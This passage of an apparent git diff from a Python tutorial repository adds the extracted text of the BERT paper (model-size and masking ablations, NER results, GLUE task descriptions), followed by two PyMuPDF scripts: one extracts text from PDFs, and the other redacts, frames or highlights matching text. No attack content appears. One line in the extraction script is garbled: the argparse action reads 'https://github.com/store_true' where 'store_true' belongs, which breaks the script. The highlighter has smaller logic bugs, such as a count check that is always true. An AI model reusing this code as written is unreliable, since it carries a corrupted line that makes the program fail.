still far worse than those of the pre- +trained bidirectional models. The BiLSTM hurts +performance on the GLUE tasks. +We recognize that it would also be possible to +train separate LTR and RTL models and represent +each token as the concatenation of the two mod- +els, as ELMo does. However: (a) this is twice as +expensive as a single bidirectional model; (b) this +is non-intuitive for tasks like QA, since the RTL +model would not be able to condition the answer +on the question; (c) this it is strictly less powerful +than a deep bidirectional model, since it can use +both left and right context at every layer. +5.2 +Effect of Model Size +In this section, we explore the effect of model size +on fine-tuning task accuracy. We trained a number +of BERT models with a differing number of layers, +hidden units, and attention heads, while otherwise +using the same hyperparameters and training pro- +cedure as described previously. +Results on selected GLUE tasks are shown in +Table 6. In this table, we report the average Dev +Set accuracy from 5 random restarts of fine-tuning. +We can see that larger models lead to a strict ac- +curacy improvement across all four datasets, even +for MRPC which only has 3,600 labeled train- +ing examples, and is substantially different from +the pre-training tasks. It is also perhaps surpris- +ing that we are able to achieve such significant +improvements on top of models which are al- +ready quite large relative to the existing literature. +For example, the largest Transformer explored in +Vaswani et al. (2017) is (L=6, H=1024, A=16) +with 100M parameters for the encoder, and the +largest Transformer we have found in the literature +is (L=64, H=512, A=2) with 235M parameters +(Al-Rfou et al., 2018). By contrast, BERTBASE +contains 110M parameters and BERTLARGE con- +tains 340M parameters. +It has long been known that increasing the +model size will lead to continual improvements +on large-scale tasks such as machine translation +and language modeling, which is demonstrated +by the LM perplexity of held-out training data +shown in Table 6. +However, we believe that +this is the first work to demonstrate convinc- +ingly that scaling to extreme model sizes also +leads to large improvements on very small scale +tasks, provided that the model has been suffi- +ciently pre-trained. Peters et al. (2018b) presented +mixed results on the downstream task impact of +increasing the pre-trained bi-LM size from two +to four layers and Melamud et al. (2016) men- +tioned in passing that increasing hidden dimen- +sion size from 200 to 600 helped, but increasing +further to 1,000 did not bring further improve- +ments. Both of these prior works used a feature- +based approach — we hypothesize that when the +model is fine-tuned directly on the downstream +tasks and uses only a very small number of ran- +domly initialized additional parameters, the task- +specific models can benefit from the larger, more +expressive pre-trained representations even when +downstream task data is very small. +5.3 +Feature-based Approach with BERT +All of the BERT results presented so far have used +the fine-tuning approach, where a simple classifi- +cation layer is added to the pre-trained model, and +all parameters are jointly fine-tuned on a down- +stream task. However, the feature-based approach, +where fixed features are extracted from the pre- +trained model, has certain advantages. First, not +all tasks can be easily represented by a Trans- +former encoder architecture, and therefore require +a task-specific model architecture to be added. +Second, there are major computational benefits +to pre-compute an expensive representation of the +training data once and then run many experiments +with cheaper models on top of this representation. +In this section, we compare the two approaches +by applying BERT to the CoNLL-2003 Named +Entity Recognition (NER) task (Tjong Kim Sang +and De Meulder, 2003). In the input to BERT, we +use a case-preserving WordPiece model, and we +include the maximal document context provided +by the data. Following standard practice, we for- +mulate this as a tagging task but do not use a CRF +Hyperparams +Dev Set Accuracy +#L +#H #A LM (ppl) MNLI-m MRPC SST-2 +3 +768 +12 +5.84 +77.9 +79.8 +88.4 +6 +768 +3 +5.24 +80.6 +82.2 +90.7 +6 +768 +12 +4.68 +81.9 +84.8 +91.3 +12 +768 +12 +3.99 +84.4 +86.7 +92.9 +12 1024 +16 +3.54 +85.7 +86.9 +93.3 +24 1024 +16 +3.23 +86.6 +87.8 +93.7 +Table 6: +Ablation over BERT model size. #L = the +number of layers; #H = hidden size; #A = number of at- +tention heads. “LM (ppl)” is the masked LM perplexity +of held-out training data. +System +Dev F1 Test F1 +ELMo (Peters et al., 2018a) +95.7 +92.2 +CVT (Clark et al., 2018) +- +92.6 +CSE (Akbik et al., 2018) +- +93.1 +Fine-tuning approach +BERTLARGE +96.6 +92.8 +BERTBASE +96.4 +92.4 +Feature-based approach (BERTBASE) +Embeddings +91.0 +- +Second-to-Last Hidden +95.6 +- +Last Hidden +94.9 +- +Weighted Sum Last Four Hidden +95.9 +- +Concat Last Four Hidden +96.1 +- +Weighted Sum All 12 Layers +95.5 +- +Table 7: CoNLL-2003 Named Entity Recognition re- +sults. Hyperparameters were selected using the Dev +set. The reported Dev and Test scores are averaged over +5 random restarts using those hyperparameters. +layer in the output. We use the representation of +the first sub-token as the input to the token-level +classifier over the NER label set. +To ablate the fine-tuning approach, we apply the +feature-based approach by extracting the activa- +tions from one or more layers without fine-tuning +any parameters of BERT. These contextual em- +beddings are used as input to a randomly initial- +ized two-layer 768-dimensional BiLSTM before +the classification layer. +Results are presented in Table 7. BERTLARGE +performs competitively with state-of-the-art meth- +ods. The best performing method concatenates the +token representations from the top four hidden lay- +ers of the pre-trained Transformer, which is only +0.3 F1 behind fine-tuning the entire model. This +demonstrates that BERT is effective for both fine- +tuning and feature-based approaches. +6 +Conclusion +Recent empirical improvements due to transfer +learning with language models have demonstrated +that rich, unsupervised pre-training is an integral +part of many language understanding systems. In +particular, these results enable even low-resource +tasks to benefit from deep unidirectional architec- +tures. Our major contribution is further general- +izing these findings to deep bidirectional architec- +tures, allowing the same pre-trained model to suc- +cessfully tackle a broad set of NLP tasks. +References +Alan Akbik, Duncan Blythe, and Roland Vollgraf. +2018. Contextual string embeddings for sequence +labeling. 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Aligning books and movies: Towards +story-like visual explanations by watching movies +and reading books. +In Proceedings of the IEEE +international conference on computer vision, pages +19–27. +Appendix for “BERT: Pre-training of +Deep Bidirectional Transformers for +Language Understanding” +We organize the appendix into three sections: +• Additional implementation details for BERT +are presented in Appendix A; +• Additional details for our experiments are +presented in Appendix B; and +• Additional ablation studies are presented in +Appendix C. +We present additional ablation studies for +BERT including: +– Effect of Number of Training Steps; and +– Ablation for Different Masking Proce- +dures. +A +Additional Details for BERT +A.1 +Illustration of the Pre-training Tasks +We provide examples of the pre-training tasks in +the following. +Masked LM and the Masking Procedure +As- +suming the unlabeled sentence is +my dog is +hairy, and during the random masking procedure +we chose the 4-th token (which corresponding to +hairy), our masking procedure can be further il- +lustrated by +• 80% of the time: Replace the word with the +[MASK] token, e.g., my dog is hairy → +my dog is [MASK] +• 10% of the time: Replace the word with a +random word, e.g., my dog is hairy → my +dog is apple +• 10% of the time: +Keep the word un- +changed, e.g., my dog is hairy → my dog +is hairy. The purpose of this is to bias the +representation towards the actual observed +word. +The advantage of this procedure is that the +Transformer encoder does not know which words +it will be asked to predict or which have been re- +placed by random words, so it is forced to keep +a distributional contextual representation of ev- +ery input token. +Additionally, because random +replacement only occurs for 1.5% of all tokens +(i.e., 10% of 15%), this does not seem to harm +the model’s language understanding capability. In +Section C.2, we evaluate the impact this proce- +dure. +Compared to standard langauge model training, +the masked LM only make predictions on 15% of +tokens in each batch, which suggests that more +pre-training steps may be required for the model +BERT (Ours) +Trm +Trm +Trm +Trm +Trm +Trm +... +... +Trm +Trm +Trm +Trm +Trm +Trm +... +... +OpenAI GPT +Lstm +ELMo +Lstm +Lstm +Lstm +Lstm +Lstm +Lstm +Lstm +Lstm +Lstm +Lstm +Lstm +T1 +T2 +TN +... +... +... +... +... +E1 +E2 +EN +... +T1 +T2 +TN +... +E1 +E2 +EN +... +T1 +T2 +TN +... +E1 +E2 +EN +... +Figure 3: Differences in pre-training model architectures. BERT uses a bidirectional Transformer. OpenAI GPT +uses a left-to-right Transformer. ELMo uses the concatenation of independently trained left-to-right and right-to- +left LSTMs to generate features for downstream tasks. Among the three, only BERT representations are jointly +conditioned on both left and right context in all layers. In addition to the architecture differences, BERT and +OpenAI GPT are fine-tuning approaches, while ELMo is a feature-based approach. +to converge. In Section C.1 we demonstrate that +MLM does converge marginally slower than a left- +to-right model (which predicts every token), but +the empirical improvements of the MLM model +far outweigh the increased training cost. +Next Sentence Prediction +The next sentence +prediction task can be illustrated in the following +examples. +Input = [CLS] the man went to [MASK] store [SEP] +he bought a gallon [MASK] milk [SEP] +Label = IsNext +Input = [CLS] the man [MASK] to the store [SEP] +penguin [MASK] are flight ##less birds [SEP] +Label = NotNext +A.2 +Pre-training Procedure +To generate each training input sequence, we sam- +ple two spans of text from the corpus, which we +refer to as “sentences” even though they are typ- +ically much longer than single sentences (but can +be shorter also). The first sentence receives the A +embedding and the second receives the B embed- +ding. 50% of the time B is the actual next sentence +that follows A and 50% of the time it is a random +sentence, which is done for the “next sentence pre- +diction” task. They are sampled such that the com- +bined length is ≤ 512 tokens. The LM masking is +applied after WordPiece tokenization with a uni- +form masking rate of 15%, and no special consid- +eration given to partial word pieces. +We train with batch size of 256 sequences (256 +sequences * 512 tokens = 128,000 tokens/batch) +for 1,000,000 steps, which is approximately 40 +epochs over the 3.3 billion word corpus. +We +use Adam with learning rate of 1e-4, β1 = 0.9, +β2 = 0.999, L2 weight decay of 0.01, learning +rate warmup over the first 10,000 steps, and linear +decay of the learning rate. We use a dropout prob- +ability of 0.1 on all layers. We use a gelu acti- +vation (Hendrycks and Gimpel, 2016) rather than +the standard relu, following OpenAI GPT. The +training loss is the sum of the mean masked LM +likelihood and the mean next sentence prediction +likelihood. +Training of BERTBASE was performed on 4 +Cloud TPUs in Pod configuration (16 TPU chips +total).13 Training of BERTLARGE was performed +on 16 Cloud TPUs (64 TPU chips total). Each pre- +training took 4 days to complete. +Longer sequences are disproportionately expen- +sive because attention is quadratic to the sequence +length. To speed up pretraing in our experiments, +we pre-train the model with sequence length of +128 for 90% of the steps. Then, we train the rest +10% of the steps of sequence of 512 to learn the +positional embeddings. +A.3 +Fine-tuning Procedure +For fine-tuning, most model hyperparameters are +the same as in pre-training, with the exception of +the batch size, learning rate, and number of train- +ing epochs. The dropout probability was always +kept at 0.1. The optimal hyperparameter values +are task-specific, but we found the following range +of possible values to work well across all tasks: +• Batch size: 16, 32 +13https://cloudplatform.googleblog.com/2018/06/Cloud- +TPU-now-offers-preemptible-pricing-and-global- +availability.html +• Learning rate (Adam): 5e-5, 3e-5, 2e-5 +• Number of epochs: 2, 3, 4 +We also observed that large data sets (e.g., +100k+ labeled training examples) were far less +sensitive to hyperparameter choice than small data +sets. Fine-tuning is typically very fast, so it is rea- +sonable to simply run an exhaustive search over +the above parameters and choose the model that +performs best on the development set. +A.4 +Comparison of BERT, ELMo ,and +OpenAI GPT +Here we studies the differences in recent popular +representation learning models including ELMo, +OpenAI GPT and BERT. The comparisons be- +tween the model architectures are shown visually +in Figure 3. Note that in addition to the architec- +ture differences, BERT and OpenAI GPT are fine- +tuning approaches, while ELMo is a feature-based +approach. +The most comparable existing pre-training +method to BERT is OpenAI GPT, which trains a +left-to-right Transformer LM on a large text cor- +pus. In fact, many of the design decisions in BERT +were intentionally made to make it as close to +GPT as possible so that the two methods could be +minimally compared. The core argument of this +work is that the bi-directionality and the two pre- +training tasks presented in Section 3.1 account for +the majority of the empirical improvements, but +we do note that there are several other differences +between how BERT and GPT were trained: +• GPT is trained on the BooksCorpus (800M +words); BERT is trained on the BooksCor- +pus (800M words) and Wikipedia (2,500M +words). +• GPT uses a sentence separator ([SEP]) and +classifier token ([CLS]) which are only in- +troduced at fine-tuning time; BERT learns +[SEP], [CLS] and sentence A/B embed- +dings during pre-training. +• GPT was trained for 1M steps with a batch +size of 32,000 words; BERT was trained for +1M steps with a batch size of 128,000 words. +• GPT used the same learning rate of 5e-5 for +all fine-tuning experiments; BERT chooses a +task-specific fine-tuning learning rate which +performs the best on the development set. +To isolate the effect of these differences, we per- +form ablation experiments in Section 5.1 which +demonstrate that the majority of the improvements +are in fact coming from the two pre-training tasks +and the bidirectionality they enable. +A.5 +Illustrations of Fine-tuning on Different +Tasks +The illustration of fine-tuning BERT on different +tasks can be seen in Figure 4. Our task-specific +models are formed by incorporating BERT with +one additional output layer, so a minimal num- +ber of parameters need to be learned from scratch. +Among the tasks, (a) and (b) are sequence-level +tasks while (c) and (d) are token-level tasks. In +the figure, E represents the input embedding, Ti +represents the contextual representation of token i, +[CLS] is the special symbol for classification out- +put, and [SEP] is the special symbol to separate +non-consecutive token sequences. +B +Detailed Experimental Setup +B.1 +Detailed Descriptions for the GLUE +Benchmark Experiments. +Our +GLUE +results +in +Table1 +are +obtained +from +https://gluebenchmark.com/ +leaderboard +and +https://blog. +openai.com/language-unsupervised. +The GLUE benchmark includes the following +datasets, the descriptions of which were originally +summarized in Wang et al. (2018a): +MNLI +Multi-Genre Natural Language Inference +is a large-scale, crowdsourced entailment classifi- +cation task (Williams et al., 2018). Given a pair of +sentences, the goal is to predict whether the sec- +ond sentence is an entailment, contradiction, or +neutral with respect to the first one. +QQP +Quora Question Pairs is a binary classifi- +cation task where the goal is to determine if two +questions asked on Quora are semantically equiv- +alent (Chen et al., 2018). +QNLI +Question Natural Language Inference is +a version of the Stanford Question Answering +Dataset (Rajpurkar et al., 2016) which has been +converted to a binary classification task (Wang +et al., 2018a). The positive examples are (ques- +tion, sentence) pairs which do contain the correct +answer, and the negative examples are (question, +sentence) from the same paragraph which do not +contain the answer. +BERT +E[CLS] +E1 +E[SEP] +... +EN +E1’ +... +EM’ +C +T1 +T[SEP] +... +TN +T1’ +... +TM’ +[CLS] +Tok +1 +[SEP] +... +Tok +N +Tok +1 +... +Tok +M +Question +Paragraph +BERT +E[CLS] +E1 +E2 +EN +C +T1 +T2 +TN +Single Sentence +... +... +BERT +Tok 1 +Tok 2 +Tok N +... +[CLS] +E[CLS] +E1 +E2 +EN +C +T1 +T2 +TN +Single Sentence +B-PER +O +O +... +... +E[CLS] +E1 +E[SEP] +Class +Label +... +EN +E1’ +... +EM’ +C +T1 +T[SEP] +... +TN +T1’ +... +TM’ +Start/End Span +Class +Label +BERT +Tok 1 +Tok 2 +Tok N +... +[CLS] +Tok 1 +[CLS] +[CLS] +Tok +1 +[SEP] +... +Tok +N +Tok +1 +... +Tok +M +Sentence 1 +... +Sentence 2 +Figure 4: Illustrations of Fine-tuning BERT on Different Tasks. +SST-2 +The Stanford Sentiment Treebank is a +binary single-sentence classification task consist- +ing of sentences extracted from movie reviews +with human annotations of their sentiment (Socher +et al., 2013). +CoLA +The Corpus of Linguistic Acceptability is +a binary single-sentence classification task, where +the goal is to predict whether an English sentence +is linguistically “acceptable” or not (Warstadt +et al., 2018). +STS-B +The Semantic Textual Similarity Bench- +mark is a collection of sentence pairs drawn from +news headlines and other sources (Cer et al., +2017). They were annotated with a score from 1 +to 5 denoting how similar the two sentences are in +terms of semantic meaning. +MRPC +Microsoft Research Paraphrase Corpus +consists of sentence pairs automatically extracted +from online news sources, with human annotations +for whether the sentences in the pair are semanti- +cally equivalent (Dolan and Brockett, 2005). +RTE +Recognizing Textual Entailment is a bi- +nary entailment task similar to MNLI, but with +much less training data (Bentivogli et al., 2009).14 +WNLI +Winograd NLI is a small natural lan- +guage inference dataset (Levesque et al., 2011). +The GLUE webpage notes that there are issues +with the construction of this dataset, 15 and every +trained system that’s been submitted to GLUE has +performed worse than the 65.1 baseline accuracy +of predicting the majority class. We therefore ex- +clude this set to be fair to OpenAI GPT. For our +GLUE submission, we always predicted the ma- +14Note that we only report single-task fine-tuning results +in this paper. A multitask fine-tuning approach could poten- +tially push the performance even further. For example, we +did observe substantial improvements on RTE from multi- +task training with MNLI. +15https://gluebenchmark.com/faq +jority class. +C +Additional Ablation Studies +C.1 +Effect of Number of Training Steps +Figure 5 presents MNLI Dev accuracy after fine- +tuning from a checkpoint that has been pre-trained +for k steps. This allows us to answer the following +questions: +1. Question: +Does BERT really need such +a large amount of pre-training (128,000 +words/batch * 1,000,000 steps) to achieve +high fine-tuning accuracy? +Answer: Yes, BERTBASE achieves almost +1.0% additional accuracy on MNLI when +trained on 1M steps compared to 500k steps. +2. Question: Does MLM pre-training converge +slower than LTR pre-training, since only 15% +of words are predicted in each batch rather +than every word? +Answer: The MLM model does converge +slightly slower than the LTR model. How- +ever, in terms of absolute accuracy the MLM +model begins to outperform the LTR model +almost immediately. +C.2 +Ablation for Different Masking +Procedures +In Section 3.1, we mention that BERT uses a +mixed strategy for masking the target tokens when +pre-training with the masked language model +(MLM) objective. The following is an ablation +study to evaluate the effect of different masking +strategies. +200 +400 +600 +800 +1,000 +76 +78 +80 +82 +84 +Pre-training Steps (Thousands) +MNLI Dev Accuracy +BERTBASE (Masked LM) +BERTBASE (Left-to-Right) +Figure 5: Ablation over number of training steps. This +shows the MNLI accuracy after fine-tuning, starting +from model parameters that have been pre-trained for +k steps. The x-axis is the value of k. +Note that the purpose of the masking strategies +is to reduce the mismatch between pre-training +and fine-tuning, as the [MASK] symbol never ap- +pears during the fine-tuning stage. We report the +Dev results for both MNLI and NER. For NER, +we report both fine-tuning and feature-based ap- +proaches, as we expect the mismatch will be am- +plified for the feature-based approach as the model +will not have the chance to adjust the representa- +tions. +Masking Rates +Dev Set Results +MASK SAME +RND +MNLI +NER +Fine-tune Fine-tune Feature-based +80% +10% +10% +84.2 +95.4 +94.9 +100% +0% +0% +84.3 +94.9 +94.0 +80% +0% +20% +84.1 +95.2 +94.6 +80% +20% +0% +84.4 +95.2 +94.7 +0% +20% +80% +83.7 +94.8 +94.6 +0% +0% 100% +83.6 +94.9 +94.6 +Table 8: Ablation over different masking strategies. +The results are presented in Table 8. In the table, +MASK means that we replace the target token with +the [MASK] symbol for MLM; SAME means that +we keep the target token as is; RND means that +we replace the target token with another random +token. +The numbers in the left part of the table repre- +sent the probabilities of the specific strategies used +during MLM pre-training (BERT uses 80%, 10%, +10%). The right part of the paper represents the +Dev set results. For the feature-based approach, +we concatenate the last 4 layers of BERT as the +features, which was shown to be the best approach +in Section 5.3. +From the table it can be seen that fine-tuning is +surprisingly robust to different masking strategies. +However, as expected, using only the MASK strat- +egy was problematic when applying the feature- +based approach to NER. Interestingly, using only +the RND strategy performs much worse than our +strategy as well. diff --git a/handling-pdf-files/extract-text-from-pdf/bert-paper.pdf b/handling-pdf-files/extract-text-from-pdf/bert-paper.pdf new file mode 100644 index 00000000..2394716b Binary files /dev/null and b/handling-pdf-files/extract-text-from-pdf/bert-paper.pdf differ diff --git a/handling-pdf-files/extract-text-from-pdf/extract_text_from_pdf.py b/handling-pdf-files/extract-text-from-pdf/extract_text_from_pdf.py new file mode 100644 index 00000000..66f41516 --- /dev/null +++ b/handling-pdf-files/extract-text-from-pdf/extract_text_from_pdf.py @@ -0,0 +1,91 @@ +import fitz +import argparse +import sys +import os +from pprint import pprint + +def get_arguments(): + parser = argparse.ArgumentParser( + description="A Python script to extract text from PDF documents.") + parser.add_argument("file", help="Input PDF file") + parser.add_argument("-p", "--pages", nargs="*", type=int, + help="The pages to extract, default is all") + parser.add_argument("-o", "--output-file", default=sys.stdout, + help="Output file to write text. default is standard output") + parser.add_argument("-b", "--by-page", action="https://github.com/store_true", + help="Whether to output text by page. If not specified, all text is joined and will be written together") + # parse the arguments from the command-line + args = parser.parse_args() + + input_file = args.file + pages = args.pages + by_page = args.by_page + output_file = args.output_file + # print the arguments, just for logging purposes + pprint(vars(args)) + # load the pdf file + pdf = fitz.open(input_file) + if not pages: + # if pages is not set, default is all pages of the input PDF document + pages = list(range(pdf.pageCount)) + # we make our dictionary that maps each pdf page to its corresponding file + # based on passed arguments + if by_page: + if output_file is not sys.stdout: + # if by_page and output_file are set, open all those files + file_name, ext = os.path.splitext(output_file) + output_files = { pn: open(f"{file_name}-{pn}{ext}", "w") for pn in pages } + else: + # if output file is standard output, do not open + output_files = { pn: output_file for pn in pages } + else: + if output_file is not sys.stdout: + # a single file, open it + output_file = open(output_file, "w") + output_files = { pn: output_file for pn in pages } + else: + # if output file is standard output, do not open + output_files = { pn: output_file for pn in pages } + + # return the parsed and processed arguments + return { + "pdf": pdf, + "output_files": output_files, + "pages": pages, + } + + +def extract_text(**kwargs): + # extract the arguments + pdf = kwargs.get("pdf") + output_files = kwargs.get("output_files") + pages = kwargs.get("pages") + # iterate over pages + for pg in range(pdf.pageCount): + if pg in pages: + # get the page object + page = pdf[pg] + # extract the text of that page and split by new lines '\n' + page_lines = page.get_text().splitlines() + # get the output file + file = output_files[pg] + # get the number of lines + n_lines = len(page_lines) + for line in page_lines: + # remove any whitespaces in the end & beginning of the line + line = line.strip() + # print the line to the file/stdout + print(line, file=file) + print(f"[*] Wrote {n_lines} lines in page {pg}") + + # close the files + for pn, f in output_files.items(): + if f is not sys.stdout: + f.close() + + +if __name__ == "__main__": + # get the arguments + kwargs = get_arguments() + # extract text from the pdf document + extract_text(**kwargs) diff --git a/handling-pdf-files/extract-text-from-pdf/requirements.txt b/handling-pdf-files/extract-text-from-pdf/requirements.txt new file mode 100644 index 00000000..b42af70d --- /dev/null +++ b/handling-pdf-files/extract-text-from-pdf/requirements.txt @@ -0,0 +1 @@ +PyMuPDF==1.18.9 \ No newline at end of file diff --git a/handling-pdf-files/highlight-redact-text/README.md b/handling-pdf-files/highlight-redact-text/README.md new file mode 100644 index 00000000..5e670c8a --- /dev/null +++ b/handling-pdf-files/highlight-redact-text/README.md @@ -0,0 +1,20 @@ +# [Highlighting Text in PDF with Python](https://www.thepythoncode.com/article/redact-and-highlight-text-in-pdf-with-python) +To run this: +- `pip3 install -r requirements.txt` +- + ```python pdf_highlighter.py --help``` + **Output:** + ``` + usage: pdf_highlighter.py [-h] -i INPUT_PATH [-a {Redact,Frame,Highlight,Squiggly,Underline,Strikeout,Remove}] [-p PAGES] + + Available Options + + optional arguments: + -h, --help show this help message and exit + -i INPUT_PATH, --input_path INPUT_PATH + Enter the path of the file or the folder to process + -a {Redact,Frame,Highlight,Squiggly,Underline,Strikeout,Remove}, --action {Redact,Frame,Highlight,Squiggly,Underline,Strikeout,Remove} + Choose whether to Redact or to Frame or to Highlight or to Squiggly or to Underline or to Strikeout or to Remove + -p PAGES, --pages PAGES + Enter the pages to consider e.g.: [2,4] + ``` \ No newline at end of file diff --git a/handling-pdf-files/highlight-redact-text/bert-paper.pdf b/handling-pdf-files/highlight-redact-text/bert-paper.pdf new file mode 100644 index 00000000..2394716b Binary files /dev/null and b/handling-pdf-files/highlight-redact-text/bert-paper.pdf differ diff --git a/handling-pdf-files/highlight-redact-text/pdf_highlighter.py b/handling-pdf-files/highlight-redact-text/pdf_highlighter.py new file mode 100644 index 00000000..cf46246f --- /dev/null +++ b/handling-pdf-files/highlight-redact-text/pdf_highlighter.py @@ -0,0 +1,298 @@ +# Import Libraries +from typing import Tuple +from io import BytesIO +import os +import argparse +import re +import fitz + + +def extract_info(input_file: str): + """ + Extracts file info + """ + # Open the PDF + pdfDoc = fitz.open(input_file) + output = { + "File": input_file, "Encrypted": ("True" if pdfDoc.isEncrypted else "False") + } + # If PDF is encrypted the file metadata cannot be extracted + if not pdfDoc.isEncrypted: + for key, value in pdfDoc.metadata.items(): + output[key] = value + + # To Display File Info + print("## File Information ##################################################") + print("\n".join("{}:{}".format(i, j) for i, j in output.items())) + print("######################################################################") + + return True, output + + +def search_for_text(lines, search_str): + """ + Search for the search string within the document lines + """ + for line in lines: + # Find all matches within one line + results = re.findall(search_str, line, re.IGNORECASE) + # In case multiple matches within one line + for result in results: + yield result + + +def redact_matching_data(page, matched_values): + """ + Redacts matching values + """ + matches_found = 0 + # Loop throughout matching values + for val in matched_values: + matches_found += 1 + matching_val_area = page.searchFor(val) + # Redact matching values + [page.addRedactAnnot(area, text=" ", fill=(0, 0, 0)) + for area in matching_val_area] + # Apply the redaction + page.apply_redactions() + return matches_found + + +def frame_matching_data(page, matched_values): + """ + frames matching values + """ + matches_found = 0 + # Loop throughout matching values + for val in matched_values: + matches_found += 1 + matching_val_area = page.searchFor(val) + for area in matching_val_area: + if isinstance(area, fitz.fitz.Rect): + # Draw a rectangle around matched values + annot = page.addRectAnnot(area) + # , fill = fitz.utils.getColor('black') + annot.setColors(stroke=fitz.utils.getColor('red')) + # If you want to remove matched data + #page.addFreetextAnnot(area, ' ') + annot.update() + return matches_found + + +def highlight_matching_data(page, matched_values, type): + """ + Highlight matching values + """ + matches_found = 0 + # Loop throughout matching values + for val in matched_values: + matches_found += 1 + matching_val_area = page.searchFor(val) + # print("matching_val_area",matching_val_area) + highlight = None + if type == 'Highlight': + highlight = page.addHighlightAnnot(matching_val_area) + elif type == 'Squiggly': + highlight = page.addSquigglyAnnot(matching_val_area) + elif type == 'Underline': + highlight = page.addUnderlineAnnot(matching_val_area) + elif type == 'Strikeout': + highlight = page.addStrikeoutAnnot(matching_val_area) + else: + highlight = page.addHighlightAnnot(matching_val_area) + # To change the highlight colar + # highlight.setColors({"stroke":(0,0,1),"fill":(0.75,0.8,0.95) }) + # highlight.setColors(stroke = fitz.utils.getColor('white'), fill = fitz.utils.getColor('red')) + # highlight.setColors(colors= fitz.utils.getColor('red')) + highlight.update() + return matches_found + + +def process_data(input_file: str, output_file: str, search_str: str, pages: Tuple = None, action: str = 'Highlight'): + """ + Process the pages of the PDF File + """ + # Open the PDF + pdfDoc = fitz.open(input_file) + # Save the generated PDF to memory buffer + output_buffer = BytesIO() + total_matches = 0 + # Iterate through pages + for pg in range(pdfDoc.pageCount): + # If required for specific pages + if pages: + if str(pg) not in pages: + continue + # Select the page + page = pdfDoc[pg] + # Get Matching Data + # Split page by lines + page_lines = page.getText("text").split('\n') + matched_values = search_for_text(page_lines, search_str) + if matched_values: + if action == 'Redact': + matches_found = redact_matching_data(page, matched_values) + elif action == 'Frame': + matches_found = frame_matching_data(page, matched_values) + elif action in ('Highlight', 'Squiggly', 'Underline', 'Strikeout'): + matches_found = highlight_matching_data( + page, matched_values, action) + else: + matches_found = highlight_matching_data( + page, matched_values, 'Highlight') + total_matches += matches_found + print(f"{total_matches} Match(es) Found of Search String {search_str} In Input File: {input_file}") + # Save to output + pdfDoc.save(output_buffer) + pdfDoc.close() + # Save the output buffer to the output file + with open(output_file, mode='wb') as f: + f.write(output_buffer.getbuffer()) + + +def remove_highlght(input_file: str, output_file: str, pages: Tuple = None): + # Open the PDF + pdfDoc = fitz.open(input_file) + # Save the generated PDF to memory buffer + output_buffer = BytesIO() + # Initialize a counter for annotations + annot_found = 0 + # Iterate through pages + for pg in range(pdfDoc.pageCount): + # If required for specific pages + if pages: + if str(pg) not in pages: + continue + # Select the page + page = pdfDoc[pg] + annot = page.firstAnnot + while annot: + annot_found += 1 + page.deleteAnnot(annot) + annot = annot.next + if annot_found >= 0: + print(f"Annotation(s) Found In The Input File: {input_file}") + # Save to output + pdfDoc.save(output_buffer) + pdfDoc.close() + # Save the output buffer to the output file + with open(output_file, mode='wb') as f: + f.write(output_buffer.getbuffer()) + + + +def process_file(**kwargs): + """ + To process one single file + Redact, Frame, Highlight... one PDF File + Remove Highlights from a single PDF File + """ + input_file = kwargs.get('input_file') + output_file = kwargs.get('output_file') + if output_file is None: + output_file = input_file + search_str = kwargs.get('search_str') + pages = kwargs.get('pages') + # Redact, Frame, Highlight, Squiggly, Underline, Strikeout, Remove + action = kwargs.get('action') + if action == "Remove": + # Remove the Highlights except Redactions + remove_highlght(input_file=input_file, + output_file=output_file, pages=pages) + else: + process_data(input_file=input_file, output_file=output_file, + search_str=search_str, pages=pages, action=action) + + +def process_folder(**kwargs): + """ + Redact, Frame, Highlight... all PDF Files within a specified path + Remove Highlights from all PDF Files within a specified path + """ + input_folder = kwargs.get('input_folder') + search_str = kwargs.get('search_str') + # Run in recursive mode + recursive = kwargs.get('recursive') + #Redact, Frame, Highlight, Squiggly, Underline, Strikeout, Remove + action = kwargs.get('action') + pages = kwargs.get('pages') + # Loop though the files within the input folder. + for foldername, dirs, filenames in os.walk(input_folder): + for filename in filenames: + # Check if pdf file + if not filename.endswith('.pdf'): + continue + # PDF File found + inp_pdf_file = os.path.join(foldername, filename) + print("Processing file =", inp_pdf_file) + process_file(input_file=inp_pdf_file, output_file=None, + search_str=search_str, action=action, pages=pages) + if not recursive: + break + + +def is_valid_path(path): + """ + Validates the path inputted and checks whether it is a file path or a folder path + """ + if not path: + raise ValueError(f"Invalid Path") + if os.path.isfile(path): + return path + elif os.path.isdir(path): + return path + else: + raise ValueError(f"Invalid Path {path}") + + +def parse_args(): + """ + Get user command line parameters + """ + parser = argparse.ArgumentParser(description="Available Options") + parser.add_argument('-i', '--input_path', dest='input_path', type=is_valid_path, + required=True, help="Enter the path of the file or the folder to process") + parser.add_argument('-a', '--action', dest='action', choices=['Redact', 'Frame', 'Highlight', 'Squiggly', 'Underline', 'Strikeout', 'Remove'], type=str, + default='Highlight', help="Choose whether to Redact or to Frame or to Highlight or to Squiggly or to Underline or to Strikeout or to Remove") + parser.add_argument('-p', '--pages', dest='pages', type=tuple, + help="Enter the pages to consider e.g.: [2,4]") + action = parser.parse_known_args()[0].action + if action != 'Remove': + parser.add_argument('-s', '--search_str', dest='search_str' # lambda x: os.path.has_valid_dir_syntax(x) + , type=str, required=True, help="Enter a valid search string") + path = parser.parse_known_args()[0].input_path + if os.path.isfile(path): + parser.add_argument('-o', '--output_file', dest='output_file', type=str # lambda x: os.path.has_valid_dir_syntax(x) + , help="Enter a valid output file") + if os.path.isdir(path): + parser.add_argument('-r', '--recursive', dest='recursive', default=False, type=lambda x: ( + str(x).lower() in ['true', '1', 'yes']), help="Process Recursively or Non-Recursively") + args = vars(parser.parse_args()) + # To Display The Command Line Arguments + print("## Command Arguments #################################################") + print("\n".join("{}:{}".format(i, j) for i, j in args.items())) + print("######################################################################") + return args + + +if __name__ == '__main__': + # Parsing command line arguments entered by user + args = parse_args() + # If File Path + if os.path.isfile(args['input_path']): + # Extracting File Info + extract_info(input_file=args['input_path']) + # Process a file + process_file( + input_file=args['input_path'], output_file=args['output_file'], + search_str=args['search_str'] if 'search_str' in (args.keys()) else None, + pages=args['pages'], action=args['action'] + ) + # If Folder Path + elif os.path.isdir(args['input_path']): + # Process a folder + process_folder( + input_folder=args['input_path'], + search_str=args['search_str'] if 'search_str' in (args.keys()) else None, + action=args['action'], pages=args['pages'], recursive=args['recursive'] + ) diff --git a/handling-pdf-files/highlight-redact-text/requirements.txt b/handling-pdf-files/highlight-redact-text/requirements.txt new file mode 100644 index 00000000..b42af70d --- /dev/null +++ b/handling-pdf-files/highlight-redact-text/requirements.txt @@ -0,0 +1 @@ 